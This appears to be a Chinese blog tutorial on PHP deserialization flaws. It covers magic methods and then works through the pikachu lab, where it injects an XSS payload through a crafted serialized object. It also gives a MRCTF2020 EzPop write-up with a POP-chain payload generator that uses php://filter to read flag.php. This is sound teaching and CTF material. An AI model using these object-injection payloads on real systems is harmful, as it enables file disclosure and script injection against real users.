dustland

dustball in dustland

php反序列化漏洞

php反序列化

反序列化unserialize和序列化serialize是一对互逆的操作

对象经过序列化成为字符串

满足条件的字符串经过反序列化成为对象

需要了解一下php面向对象

php面向对象基础

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class Site {
/* 成员变量 */
var $domain;
var $title;

/* 成员函数 */
function setDomain($par){//setter方法
$this->domain = $par;
}

function getDomain(){//getter方法
return $this->domain;
}

function setTitle($par){
$this->title = $par;
}

function getTitle(){
return $this->title;
}
}
$mySite=new Site;//实例化
$mySite->setTitle("the empire");//调用成员函数
$mySite->setDomain("www.dustball.top");
echo $mySite->getDomain();
echo "<br>";
echo $mySite->getTitle();
?>

构造函数&析构函数

在使用new关键字实例化对象的时候,会自动调用构造函数,如果不显式声明则默认有一个啥也不干的缺省构造函数

当对象生命期结束时,系统自动执行其析构函数.如果不显式声明则默认有一个啥也不干的缺省析构函数

1
2
void __construct ([ mixed $args [, $... ]] )
void __destruct ( void )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class Site
{
/* 成员变量 */
var $domain;
var $title;

/* 成员函数 */
function setDomain($par)
{
$this->domain = $par;
}

function getDomain()
{
return $this->domain;
}

function setTitle($par)
{
$this->title = $par;
}

function getTitle()
{
return $this->title;
}
function __construct($par1 = 0, $par2 = 0)
{//缺省参数
$this->domain = $par1;
$this->title = $par2;
print $this->title . " rise\n";
}
function __destruct()
{
print $this->title . " fall\n";
}
}
$mySite = new Site("deutschball.github.io", "the republic");
?>

运行结果

1
2
the republic rise
the republic fall

引用

php中,函数传参时,对象类型默认为引用传递

比如实现一个链表类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
class LinkedNode{
private $value;
private $next;
public function __construct($v=0,$n=NULL){
$this->value=$v;
$this->next=$n;
}
public function setValue($v=0){
$this->value=$v;
}
public function getValue(){
return $this->value;
}
public function setNext($n=NULL){
$this->next=$n;
}
public function getNext(){
return $this->next;
}

}
class LinkedList{
private $head;
public function __construct(){
$this->head=new LinkedNode(0,NULL);
}
public function isEmpty(){
if($this->head->getNext()==NULL)return true;
else return false;
}
public function insertHead($v){
$node=new LinkedNode($v,$this->head->getNext());
$this->head->setNext($node);
}
public function getHead(){
if($this->isEmpty())return NULL;
return $this->head->getNext()->getValue();
}
public function deleteHead(){
if($this->isEmpty())return false;
else{
$this->head->setNext($this->head->getNext()->getNext());
return true;
}
}
public function __invoke(){
$p=$this->head;
while($p->getNext()!=NULL){
$p=$p->getNext();
print $p->getValue()." ";
}
}
}
$linkedlist=new LinkedList;
for($i=1;$i<=10;++$i){
$linkedlist->insertHead($i);
}

$linkedlist();
while(!$linkedlist->isEmpty()){
print "\n";
$linkedlist->deleteHead();
$linkedlist();
}
?>

继承

继承关键字extends,php不支持多继承

1
2
3
class Child extends Parent {
// 代码部分
}

子类构造函数不会主动调用父类的构造函数,可以使用parent::__construct()显式调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
class Site
{
/* 成员变量 */
var $domain;
var $title;

/* 成员函数 */
function setDomain($par)
{
$this->domain = $par;
}

function getDomain()
{
return $this->domain;
}

function setTitle($par)
{
$this->title = $par;
}

function getTitle()
{
return $this->title;
}
function __construct($par1 = 0, $par2 = 0)
{
$this->domain = $par1;
$this->title = $par2;
print $this->title . " rise\n";
}
function __destruct()
{
print $this->title . " fall\n";
}
}
$mySite = new Site("deutschball.github.io", "the republic");
class Child_Site extends Site{
var $icon_domain;
function __construct($par1 = 0, $par2 = 0,$par3 =0)
{
parent::__construct($par1,$par2);//parent::指向父类成员
$this->icon_domain=$par3;
}
function __destruct()
{
parent::__destruct();
}
function setIconDomain($idomain){
$this->icon_domain=idomain;
}
function getIconDomain(){
return $this->icon_domain;
}
}
$ChildInstance=new Child_Site("dustball.top","the empire","https://raw.githubusercontent.com/DeutschBall/test/master/emp.png");
?>

魔术方法

PHP预留的以双下划线开头的类成员函数,它们是

__construct()__destruct()__call()__callStatic()__get()__set()__isset()__unset()__sleep()__wakeup()__serialize()__unserialize()__toString()__invoke()__set_state()__clone()__debugInfo()

__construct&&__destruct

只有在使用new关键字创建新对象的时候,__construct构造函数才会被自动调用

clone拷贝或者unserialize反序列化都不会调用__construc

__destruct由系统自动调用,发生在对象生命期结束时

__toString()

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Site
{
var $domain;
var $title;

function __construct($par1 = 0, $par2 = 0)
{
$this->domain = $par1;
$this->title = $par2;
}

function __toString()
{
return "[".$this->title."=>".$this->domain."]";
}
}
$mySite = new Site("deutschball.github.io", "the republic");
print $mySite."\n";
?>

运行结果

1
[the republic=>deutschball.github.io]

__invoke()

1
__invoke( ...$values): mixed

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

相当于C++中的仿函数运算符operator ()

比如对于Site类的对象,直接当成函数调用的时候,访问域名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Site
{
var $domain;
var $title;

function __construct($par1 = 0, $par2 = 0)
{
$this->domain = $par1;
$this->title = $par2;
}

function __invoke()
{
header("Location:https://$this->domain");
}
}
$mySite = new Site("dustball.top", "the republic");
$mySite();

用浏览器访问本php文件,之后会跳转dustball.top

__serialize()&&__unserialize()

自定义序列化键值对数组(没有卵用)的函数

serialize() 函数会检查类中是否存在一个魔术方法 __serialize()

如果存在,该方法将在任何序列化之前优先执行

它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,

如果没有返回数组,将会抛出一个 TypeError 错误。

__serialize() 的预期用途是定义对象序列化友好的任意表示。 数组的元素可能对应对象的属性,但是这并不是必须的。

相反, unserialize() 检查是否存在具有名为 __unserialize() 的魔术方法。

此函数将会传递从 __serialize() 返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class Site
{
var $domain;
var $title;

function __construct($d = 0, $t = 0)
{
$this->domain = $d;
$this->title = $t;
}
function __serialize():array
{
print "__serialize acitved \n";
return [
'd' => $this->domain,//此处的键为'd',则__unserialize中的键也应该是'd',即$data['d']
't' => $this->title,
];

}
function __unserialize(array $data)
{
print "__unserialize actived \n";
$this->domain = $data['d'];
$this->title = $data['t'];
}
function __invoke()//方便打印观察,重载invoke函数
{
return "[".$this->title.",".$this->domain."]";
}

}
$mySite = new Site("dustball.top", "the republic");//实例化

$seri=serialize($mySite);//序列化,返回字符串用$seri存放
print $seri."\n";//打印观察serialize函数执行结果

$Site2=unserialize($seri);//反序列化,使用serivalize的结果作为输入

print $Site2();//观察反序列化得到的实例
?>

运行结果:

1
2
3
4
__serialize acitved 
O:4:"Site":2:{s:1:"d";s:12:"dustball.top";s:1:"t";s:12:"the republic";}
__unserialize actived
[the republic,dustball.top]

序列化得到的字符串含义

1
2
3
4
对象:类名长度4:类名"Site":两个成员:{
字符串类型:长度6:键"domain";字符串类型:字符串类型:长度12:值"dustball.top";
字符串类型:长度5:键"title";字符串类型:字符串类型:长度12:值"the republic";
}

__serialize和__unserialize会影响键,这里键就只有一个字符,分别是"s","t"

O:4:"Site":2:{s:1:"d";s:12:"dustball.top";s:1:"t";s:12:"the republic";}

如果不显式__serialize,则键默认就是成员变量名,"domain","title"

__sleep()&&__wakeup()

如果已经显式__serialize__sleep写了白写

如果已经显式__unserialize__wakeup写了白写

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 null 被序列化,并产生一个 E_NOTICE 级别的错误。

__sleep()&&__wakeup()调用时机和__serialize&&__unserialize差不多,但是优先级不如后者,后者存在时不会调用前者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class Site
{
var $domain;
var $title;

function __construct($d = 0, $t = 0)
{
$this->domain = $d;
$this->title = $t;
}

function __sleep()
{
print "__sleep acitved \n";
return ['domain','title'];//此处只能写类成员键组成的数组,表示需要参与序列化的成员
//return ['d','t'];如果这样写会报错,因为Site类没有d这个成员变量,应该写domain
}
function __wakeup()
{
print "__wakeup actived \n";
}

function __invoke() //方便打印观察,重载invoke函数
{
return "[" . $this->title . "," . $this->domain . "]";
}
}
$mySite = new Site("dustball.top", "the republic"); //实例化

$seri = serialize($mySite); //序列化,返回字符串用$seri存放
print $seri . "\n"; //打印观察serialize函数执行结果

$Site2 = unserialize($seri); //反序列化,使用serivalize的结果作为输入

print $Site2();//观察反序列化得到的实例

运行结果

1
2
3
4
__sleep acitved 
O:4:"Site":2:{s:6:"domain";s:12:"dustball.top";s:5:"title";s:12:"the republic";}
__wakeup actived
[the republic,dustball.top]

serialize函数会根据__sleep指定参与序列化的成员,进行序列化,这里指定了domain和title都参与实例化,也可以只指定domain参与,也可以都不参与,那么运行结果

1
2
3
4
5
6
7
8
9
10
11
12
...
function __sleep()
{
print "__sleep acitved \n";
// return ['domain','title'];
return [];//都不参与实例化
}
...
__sleep acitved
O:4:"Site":0:{}
__wakeup actived
[,]

__clone

作用是 实现深拷贝,在调用clone时默认调用__clone函数

__set&&__get&&&__isset&&__unset

1
2
3
4
5
6
7
public __set(string $name, [mixed]

public __get(string $name): [mixed]

public __isset(string $name): bool

public __unset(string $name): void

在给不可访问(protected 或 private)或不存在的属性赋值时,__set() 会被调用。

读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。

当对不可访问(protected 或 private)或不存在的属性调用 isset()empty() 时,__isset() 会被调用。

当对不可访问(protected 或 private)或不存在的属性调用 unset() 时,__unset() 会被调用。

反序列化漏洞

魔术方法的调用时机:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

class test
{

public $varr1 = "abc";
public $varr2 = "123";

public function echoP(){
echo $this->varr1 . "\n";
}

public function __construct(){
echo "__construct\n";
}

public function __destruct(){
echo "__destruct\n";
}

public function __toString(){
return "__toString\n";
}

public function __sleep(){
echo "__sleep\n";
return array('varr1', 'varr2');
}

public function __wakeup(){
echo "__wakeup\n";
}
}



$obj = new test(); //实例化对象,调用__construct()方法,输出__construct

$obj->echoP(); //调用echoP()方法,输出"abc"

echo $obj; //obj对象被当做字符串输出,调用__toString()方法,输出__toString

$s = serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep

echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。

// 脚本结束又会调用__destruct()方法,输出__destruct

运行结果

1
2
3
4
5
6
7
8
__construct
abc
__toString
__sleep
__wakeup
__toString
__destruct
__destruct

最简单的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class A
{
public $only = "demo";
function __destruct()
{
echo $this->only;
}
}

$a = $_GET['test'];
$a_unser = unserialize($a);

尝试构造负载,将$only="demo"覆盖掉

类名为"A",只有一个字符

类有一个成员变量,没有显式__serialize指定键名,因此序列化字符串中的键就是变量名$only,显然这个键名长度为4字符,

值就根据需要修改了

因此可以构造出序列化字符串:

1
test=O:1:"A":1:{s:4:"only";s:6:"empire";}
image-20220721010820412

pikachu靶场-php反序列化漏洞

靶场没有给任何提示,也没有给源代码,目前我猜不出这个类有几个成员,都叫啥,有没有显式__serialize等等,还是看看后端的代码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}

$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){//反序列化不成功则 大兄弟,来点劲爆点儿的!
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";//反序列化成功,则构造好$html,待会儿要向前端打印该值
}
}
?>
...
<?php echo $html;?>

显然根据刚才最简单的例子,可以构造一个序列化字符串覆盖掉$test="pikachu"

1
O:1:"S":1:{s:4:"test";s:6:"empire";}
image-20220721011634848

既然如此,6:"empire"这里只需要按照负载字符串长度:"负载字符串"这种格式随便改.如果改成XSS攻击语句,往前端一打印不就实现XSS攻击了吗

1
O:1:"S":1:{s:4:"test";s:26:"<script>alert(0);</script>";}
image-20220721011848980

反序列化成员对象

前面的例子和靶场中,反序列化构造的成员变量都是字符串类型,

能否用反序列化充实一个成员对象呢?

显然可以

以链表类为例子,

链表节点LinkedNode有两个成员,一个是本节点的value值,另一个是下一个节点的引用next

链表类LinkedList有一个成员,即附加头节点成员对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class LinkedNode{
private $value;
private $next;
public function __construct($v=0,$n=NULL){
$this->value=$v;
$this->next=$n;
}
public function setNext($n=NULL){
$this->next=$n;
}
public function getNext(){
return $this->next;
}
}
class LinkedList{
private $head;
public function __construct(){
$this->head=new LinkedNode(0,NULL);
}
public function insertHead($v){
$node=new LinkedNode($v,$this->head->getNext());
$this->head->setNext($node);
}
}
$linkedlist=new LinkedList;
$linkedlist->insertHead(1);
$linkedlist->insertHead("empire");
print serialize($linkedlist);
?>

实例化一个链表对象linkedlist,插入两个节点,然后对其序列化得到

1
2
O:10:"LinkedList":1:{s:16:"LinkedListhead";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:0;s:16:"LinkedNodenext";O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:6:"empire";s:16:"LinkedNodenext";O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:1;s:16:"LinkedNodenext";N;}}}}

这一长串太不直观,换行缩进一下得到

1
2
3
4
5
6
7
O:10:"LinkedList":1:{s:16:"LinkedListhead";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:0;s:16:"LinkedNodenext";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:6:"empire";s:16:"LinkedNodenext";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:1;s:16:"LinkedNodenext";N;}
}
}
}

最外层是LinkedList实例

从第二层开始都是LinkedNode实例,其结构为

1
2
3
4
O:10:"LinkedNode":2:{
s:17:"LinkedNodevalue";<类型>:<值>;s:16:"LinkedNodenext":
下一个LinkedNode实例;
}

考虑如图所示结构,应怎么用序列化表示呢?

1
2
3
4
graph LR
subgraph linkedlist
head-->A-->510-->C-->empire-->10-->NULL
end
1
2
3
4
5
6
7
8
9
10
11
12
13
O:10:"LinkedList":1:{s:16:"LinkedListhead";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:0;s:16:"LinkedNodenext";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:1:"A";s:16:"LinkedNodenext";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:510;s:16:"LinkedNodenext";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:1:"C";s:16:"LinkedNodenext";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:6:"empire";s:16:"LinkedNodenext";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:10;s:16:"LinkedNodenext";N;}
}
}
}
}
}
}

POP链

多次利用反序列化漏洞,可能要反序列化得到多个对象,最终找到可利用点

类似于pwn中的面向返回编程

MRCTF2020-EzPop

上来就给源码,显然是highlight_file(__FILE__);的功劳

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){//普通成员函数
include($value);//append有文件包含,value参数应该是一个文件,显然这里应该是flag.php
}
public function __invoke(){//本类对象被当作函数调用的时候自动调用__invoke
$this->append($this->var);//本类成员作为仿函数被调用时,调用append(var),那么var应该是"flag.php"
}
}
//分析到此,Modifier类的作用大体上是:
//本类对象应当作为其他类对象的成员对象,并且$var应该设置为flag.php,然后等待被别人调用__invoke得到flag

class Show{
public $source;
public $str;
public function __construct($file='index.php'){//缺省参数
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){//unserialize先调用__wakeup,显然本类应该是 反序列化突破口
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){//访问不存在的属性或者protected,private属性时,自动调用__get
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);//给源码
}

整个调用链是怎样的呢?

从Show类入口,观察其__wakeup函数,貌似做了一个黑名单过滤,不允许__$this->source有黑名单中的字样

1
2
3
4
5
6
public function __wakeup(){//unserialize先调用__wakeup,显然本类应该是 反序列化突破口
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}

但是,$this->source一定是一个字符串吗?如果是一个实现了__toString魔术函数的对象也可以啊.

这三个类只有Show实现了__toString,因此$source应该是一个Show类的对象

现在皮球从Show::__wakeup踢到了Show::__toString脚下

Show类的__toString干了啥呢?

1
2
3
public function __toString(){
return $this->str->source;
}

str如果是一个字符串,对他应用成员运算符->必然出错,

但是如果str不是字符串,是一个对象呢?

是谁的对象呢?从str->source,直觉上还是Show的对象,但是这样转起来没完了,一直在Show里面没有进展

那么str应该是谁的对象呢?

考虑到Test::__get这个函数,当调用Test类中不存在的成员时,__get函数会被调用

Test不含这个叫做source的成员,因此皮球可以踢给Test::__get

Test类的__get干了啥呢?

1
2
3
4
5
public $p;
public function __get($key){//访问不存在的属性或者protected,private属性时,自动调用__get
$function = $this->p;
return $function();
}

用一个$function变量拷贝了本对象的p成员,然后作为函数调用

那么本类的p成员要么是一个函数,要么是一个实现了__invoke的仿函数类,显然Modifier类实现了__invoke函数

皮球踢到了Modifier::__invoke脚下,它干了啥呢?

1
2
3
4
5
6
7
protected  $var;
public function append($value){//普通成员函数
include($value);//append有文件包含,value参数应该是一个文件,显然这里应该是flag.php
}
public function __invoke(){//本类对象被当作函数调用的时候自动调用__invoke
$this->append($this->var);//本类成员作为仿函数被调用时,调用append(var),那么var应该是"flag.php"
}

__invoke调用了append($this->var),将$var文件包含进来

控制流分析完毕,下面考虑如何构造序列化字符串

1
2
3
4
5
6
7
8
Show对象,用于骗过Show::__wakeup
source:Show对象,用于执行Show::__toString
source:随便
str:Test对象,用于执行__get
p:Modifier对象,用于执行__invoke
var:"flag.php"//此处有问题,直接写flag.php得不到flag
str:随便

因此生成payload的php程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';//获取源代码
}
class Show{
public $source;
public $str;

}
class Test{
public $p;
}
$a=new Show;
$a->source=new Show;
$a->source->str=new Test;
$a->source->str->p=new Modifier;
print serialize($a);

?>

运行结果

1
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

urlencode之后用get方法传进去得到base64加密密文

1
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2UzY2IyY2U2LTZlNzItNDVjNy1iY2FlLWRlMTk4YmM2ZjkzYX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

解密之后得到

1
2
3
4
5
6
<?php
class Flag{
private $flag= "flag{e3cb2ce6-6e72-45c7-bcae-de198bc6f93a}";
}
echo "Help Me Find FLAG!";
?>

坑1

我一开始傻了吧唧的真用手去构造这个序列化字符串

1
2
3
4
5
6
7
8
9
10
11
O:4:"Show":2:{s:10:"Showsource";
O:4:"Show":2:{s:10:"Showsource":i:0;
O:4:"Test":1:{s:5:"Tests";
O:8:"Modifier":1{s:11:"Modifiervar";s:8:"flag.php"}
}
}
s:7:"Showstr";i:0;}


O:4:"Show":2:{s:10:"Showsource";O:4:"Show":2:{s:10:"Showsource":i:0;O:4:"Test":1:{s:5:"Tests";O:8:"Modifier":1{s:11:"Modifiervar";s:8:"flag.php"}}}
s:7:"Showstr";i:0;}

结果全错了,键名都不对,只有private修饰的键名才会前面附上类名,啥意思呢?

1
2
3
4
5
6
7
8
9
<?php
class Test {
private $v1="private";
protected $v2="protected";
var $v3="default";
public $v4="public";
}
$a=new Test;
print serialize($a);

结果

1
O:4:"Test":4:{s:8:"Testv1";s:7:"private";s:5:" * v2";s:9:"protected";s:2:"v3";s:7:"default";s:2:"v4";s:6:"public";}
修饰符 原键名 序列化后键名 备注
private v1 Testv1 附上类名作为前缀
protected v2 * v2 附上*前缀(注意星号左右各有一个空格)
缺省 v3 v3 不变
public v4 v4 不变

坑2

vscode调试控制台向外粘贴出错

vscode调试控制台输出的运行结果是这样的

image-20220721032806113

对于 * v2这种protected变量序列化后的键名,从调试控制台复制出去之后,星号两侧的空格消失

位置 表现
调试控制台中的输出 O:4:"Test":4:{s:8:"Testv1";s:7:"private";s:5:" * v2";s:9:"protected";s:2:"v3";s:7:"default";s:2:"v4";s:6:"public";}
粘贴出去的输出 O:4:"Test":4:{s:8:"Testv1";s:7:"private";s:5:"*v2";s:9:"protected";s:2:"v3";s:7:"default";s:2:"v4";s:6:"public";}

解决方法是,直接让php输入urlencode之后的负载,这样所有的空格都会被转移,并且不用再去hackbar中urlencode了

echo urlencode(serialize($a));